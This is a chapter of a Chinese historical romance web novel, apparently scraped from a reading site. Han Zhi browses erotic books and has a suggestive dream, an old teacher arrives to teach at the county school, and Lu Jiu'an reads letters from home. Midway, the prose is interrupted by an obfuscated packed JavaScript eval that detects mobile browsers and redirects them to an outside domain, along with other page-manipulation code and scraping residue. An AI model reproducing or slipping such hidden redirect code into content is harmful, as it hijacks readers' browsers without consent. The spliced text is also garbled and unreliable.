第 94 章 了无痕

作品:《策划稳坐县令官

    第94章第94章


    【了无痕】


    韩致打开暗盒,里面凌乱堆叠着两本书,一个瓷白药罐。


    韩致先拿起药罐,上面写着青玉膏三个字,放在鼻子前嗅了嗅,也确实是青玉膏没错。


    青玉膏由一种常见的药材制成,其味淡香,平时做消肿止痛所用,因为呈现青绿色流体膏状,放在罐子里像一方青玉,因此而得名。


    韩致不明其意。


    他放下药罐,拾起其中一本写着《枪法百式》的书册。


    应当是沐蔺不知道从哪儿得来的枪法招式。


    他边这样想着,边翻开册子。下一刻,韩致犹如被蝎子蜇了手,触电般把册子扔回衣柜。


    确实是枪法没错,不过此枪非彼枪!


    谁能知道,书的封面明明看着是一本正常的武术秘笈,里面潜藏的却是一页页艳绘银图。


    @


    果然,沐蔺能给出什么正经的东西?


    韩致深吸一口气,摸过绘本的指尖微微发烫。


    他当作什么都没发生一般,把书和青玉膏按照原来的位置放好,锁好暗盒,关上衣柜。


    他跨出房门走出几尺远,脚步突然顿住,挣扎片刻,泄气一般转身回去。


    至少,至少搞清楚那青玉膏是做什么用的。


    他这样对自己说。


    沐蔺给的两本书,一本叫《枪法百式》,是个绘本,画手也不知是什么身份,书中两名男子神态动作话画得细致无比,惟妙惟肖,连蜷曲的脚趾也看得清清楚楚。


    @


    ……


    韩致看了会儿,就血色上涌。他眉头蹙起,翻开另外一本书。


    和上一本不同,这是一本艳词话本,若不观书中前后内容,当真以为是哪位文采斐然的大家著的锦绣文章。


    晚上,韩致当然没能去成陆久安的卧房,他带着一身清冷的水汽躺到床上。


    当天夜里,清心寡欲了二十多年的镇远大将军做了一个活瑟·生香的梦。


    在梦里,韩致一杆红缨**耍得虎虎生威,那朵清俊娇弱的瓦姬花迎着剧烈的阳光,开到糜烂,泛滥的花汁顺着美玉汩汩流了满地。


    梦醒过后,韩致仿佛还记得那双泛红的眼尾和一声声长吟低啜。


    他想着梦里那番勾人心魄的美妙春.光,闭了闭双眼。


    罢了罢了,就先照沐蔺所说,先徐徐图之。


    陆


    久安可不知韩致因为看了两本小黄·书,连续不断做了一夜香艳无比的春·梦,因为没有韩致那一身火炉一样的身体裹在身边炙烤,他得了个充足的睡眠,一大早起床精神抖擞。吃过早饭,就奔着大堂理政务去了。


    招工告示贴出去后的几天,大批外县寻求补贴的百姓涌入应平,这群人有男有女,一个个身上打满了补丁,眼含希翼把县城门口围了个水泄不通。


    “不要拥挤。衙役举着喇叭费力地维持着秩序,“排好队,一个个来,都有机会。


    在这沸反盈天的拥挤现场,一辆马车低调地避开人群进入城内。


    这辆马车实在是太朴素了。马是一匹普普通通的棕色壮马,毛发杂乱。


    车厢也是普普通通的木料制作而成,什么装饰都没有。老旧,暗沉,让人联想到冬**江旁边那颗仿若垂暮之年的枯树,生气尽无。


    车帘只是主人随便扯了一方粗布罩上去的,甚至那厢顶上,还能看到磨损的痕迹。


    总之,这样一辆马车,既不美观,也不雅致,只能起到基本的载人作用。连谢岁钱家的马车随便拉一辆出来,都比这强。


    实在让人想象不到,这是将军派来护送夫子的马车。


    质地粗糙的门帘掀开,一只枯手探了出来,接着是一身灰扑扑的长袍,最后露出一张精神矍铄的脸来。


    “哎哟,我这一把老骨头哦。来人扶着自己的腰,颤颤巍巍从马车上下来。


    他一眼就看到站在门口迎接的韩致,目光一转,又看向韩致身旁站着的那位亭亭鹤立如松拨之姿的少年,想来就是应平县令陆久安了。


    颜谷左右环顾:“韩临深呢?


    “临深入学了。韩致解释。


    颜谷眼睛瞪得老大:“入学?韩临深?


    韩临深是什么性子,做老师的再清楚不过了。虽不至于骄纵跋扈,但绝对称得上像泥猴一样顽皮,素来不是一个坐得住的人。


    他森*晚*整*理只不过比韩致二人晚来了的一段时间,平日只喜欢舞刀弄枪的泥猴,居然乖乖坐到了学堂里,去学习那些对他来讲枯燥乏味的经史儒义。


    颜谷想到此,不动声色看了一眼风姿神仪的小县令。


    想来是这一位年轻俊秀的功劳。


    陆久安不知面前这位风骨魁奇的六旬老夫子初来乍到,就在心里对他褒扬了一番,他笑容不变,对着颜谷行了个大礼:“久仰颜


    老大名。


    不管是谁,姿态放低一点准没错!


    颜谷捋着花白的书胡须,坦然受了他这一礼。


    陆久安作为主人,拂了拂衣裳,将颜谷迎进府接风洗尘。


    应平县衙府小小一个地方,前前后后住进来不下十多人,幸好空房多,要不然真要把这些个贵客请到官舍去了。


    颜谷的卧房就安置在韩临深旁边,他表面上虽然还神采奕奕的,到底年纪大了,赶了这么久的路,简单的接风礼之后,就哎哟哎哟表示腿脚酸软,闭门谢客了。


    陆久安也不是那种初出茅庐的毛头小子,干不出第一次见面就叨唠别人的事,因此对县学授教这一委托只字未提。


    @


    “我原以为杨大哥此次会跟着一起回应平。陆久安看着颜老夫子关上房门,低声道。


    韩致摇了摇头:“他是雪拥军的统领,不能走开。


    陆久安问:“那留着杨老爹和苗苗一老一少在应平,他放心么?


    “原本是不放心的。梨家弯那一跪,就是杨耕青想要带爷孙俩去云落城就近照看的决心,那时候在他心里,住在边防关要之地,甚至比一穷二白的应平要来得安心。


    “啊?


    韩致看着陆久安,心里一片柔软,亲了亲他额头:“因为你。


    拔兵离开应平那一日,韩致问他要不要带走杨老汉和杨苗苗,杨耕青一脸如释重负地回复他:“应平若还是那个应平,卑职必然不会留他们在此,可是现在不一样了,陆大人来了。


    因为陆大人来了,百姓得以安康,庶民得以饱食。


    杨耕青眼里一片坚定,仿佛有陆久安在应平一日,应平的百姓就能衣食无忧,灾祸不惧。


    散学之日,韩临深三个孩子手挽着手一道回府,他们经过一段时间的相处,已然感情深厚。


    韩临深看到坐在大堂言笑晏晏的老夫子时,泪水募得涌上眼眶。


    “颜夫子。韩临深瘪了瘪嘴,一头撞进老人怀里,颜谷接住他,宽大的衣袖一下下轻轻拂过他的背脊。


    两人像一对舐犊情深的爷孙久别重逢,韩临深埋在颜谷腰间,哭得悄无声息,只有那不断抖动的双肩,能看出他乍然见到老师的思念之情。


    等韩临深哭够了,眼眶红红地贴着颜谷:“夫子路上一定辛苦了。


    颜谷拍了拍他脑


    袋,打趣道:“不错嘛临深,知道体贴老师了。”


    韩临深不小心看到陆久安含笑作色的双眼,不禁耳尖一红:“你一直教导我,君子有所为,有所不为,奉行众善,拔除诸弊,我……我往日不懂事,让你烦心了。”


    颜谷一直把他当作自己膝下教导,见他仿佛一夜成人,慈祥的脸上老怀欣慰,絮絮叨叨问起他来应平的一些事。


    陆久安见时机成熟,迈出一只脚正要行礼,韩致却抢先一步开口:“老师,如今临深在县学就读,反正你也是教,不如去县学一起教吧。顺便在秀才面前,回顾一下讲学之乐。”


    韩致说得随意,颜谷摸着胡子笑眯眯道:“也好,改日跟临深一起去县学,让我考校一下应平学子学业如何,若是差强人意就不说了,若是让老夫不满意,呵呵。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645838|172672||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    陆久安从颜谷未尽的话语中嗅到一丝丝高中班主任的恐怖气息。


    他虚虚抹了抹脑门上不存在的汗渍。


    他之前还担心,若是劝服这位看着就像饱学之士鸿儒大家的人,少不得要费一番口舌。


    却原来,其实他对于教学一事乐在其中,根本不用多说就欣然同意。


    果然如韩致所讲!


    陆久安提前跟范教谕说起县学将迎来一位新教学的事,范教谕问是谁,陆久安也不知道,只好模模糊糊回答是小将军的夫子。


    颜谷到任第一天,陆久安因为学堂修建和河渠疏浚新开工,到现场督事去了,所以没能跟着前去旁听。


    岂料回到县衙时,范教谕一脸急色堵住陆久安:“陆大人……”


    “怎么了这是?”陆久安就着县衙堂前的青砖坐下来,拿着手里的木片铲鞋底的泥饼,“颜夫子教学太严厉了?还是学子们对新夫子不适应?”


    “都不是!你这是请来了一尊大佛啊!”范教谕差点给他跪下来,“陆大人,我何德何能,何德何能呀,今日居然听到这样一堂讲学,我死而无憾了!”


    范教谕一连重复了几遍,来表达自己的激动之情。


    范教谕这一番话,算得上是至高评价了。


    陆久安那日的讲学同样精妙绝伦,但出彩在义理深远,他更侧重在天地自然和个人身上。


    而颜夫子不一样。


    颜夫子从科考出发,引经据典,纲举目张,侧重在国家大义,天下兴亡。


    他们两人一定要相提并论的话,那陆久安便是天边一缕逍遥自在的清


    风,飘逸、洒脱。颜谷则是大地上一块历经风霜的岩石,深沉、厚重。


    “若是直至明年科考这段期间,颜老都能留在县学讲课,那生员门及第的希望会大大增加。”范教谕道出他真正兴奋的原因。


    他是一学之长,比起听学,更在乎的还是学生们科考。


    范教谕教了这么多年,陆久安还是相信他的判断的。


    如此说来,让颜谷去教学,果然是一项明智之选,那应平的升学率,是不是也不用愁了!


    范教谕此番前来,便是腆着一张老脸,希望陆县令从中斡旋,一定要把颜谷留在县学里。


    颜谷当日只答应了讲学,却没说讲多久。


    这种事情,陆久安也不能给个准确的答复,只能让他先回去,表示尽力试试。


    陆久安督工时,为了作个表率,和百姓拧着锄头在沟里一起挖了会淤泥,因此浑身上下都脏污不堪。


    他刚脱下恶臭的布靴,准备用热水泡一泡脚,陆起举着几封信件兴冲冲进门:“大人,家书来了。”


    陆久安脚也不泡了,把外袍脱了扔一边,怕袖口上黑乎乎的污泥弄脏了雪白的信纸:“拿来。”


    陆久安一直把陆起当亲弟弟看待,看信的时候并不避讳着他,陆久安看一封,就往他手里搁一封。


    “老爷夫人写了什么呀。”陆起眼巴巴地瞅着他。


    “自己看。”陆久安沉浸在缱绻的白纸黑字中,头也不抬。


    陆起像喝了一口蜜汁,明明知道不妥,又控制不住地贴近陆久安,漆黑的眼睛深处,藏着一片孺慕之情。


    陆起喜滋滋的展开一封家书:“……吾儿出门在外,无双亲相伴在侧,不可贪睡忘食……”


    公子小时候常常因为贪睡不想起来吃早饭,还是他把碗端到床边才磨磨蹭蹭从床上坐起来。


    这是老夫人担心公子不珍惜身子呢。


    他把信贴着胸口,仿佛在说:放心吧,有陆起在,一定会好好照顾好公子的。


    陆起接着展开另外一封:“……吾儿既已及冠,便可成家,不知可有中意的待字闺中的姑娘家,若是尚未有心仪之人,为娘知道一女……”


    陆起断断续续读完,将信一合,大声叫道:“公子!咱们县衙是不是快有主母了!”


    “什么主母?”


    韩致刚走到门口,就听到这么一句,顿时黑了一张脸,携着风雨欲来之势,慢慢踏进来。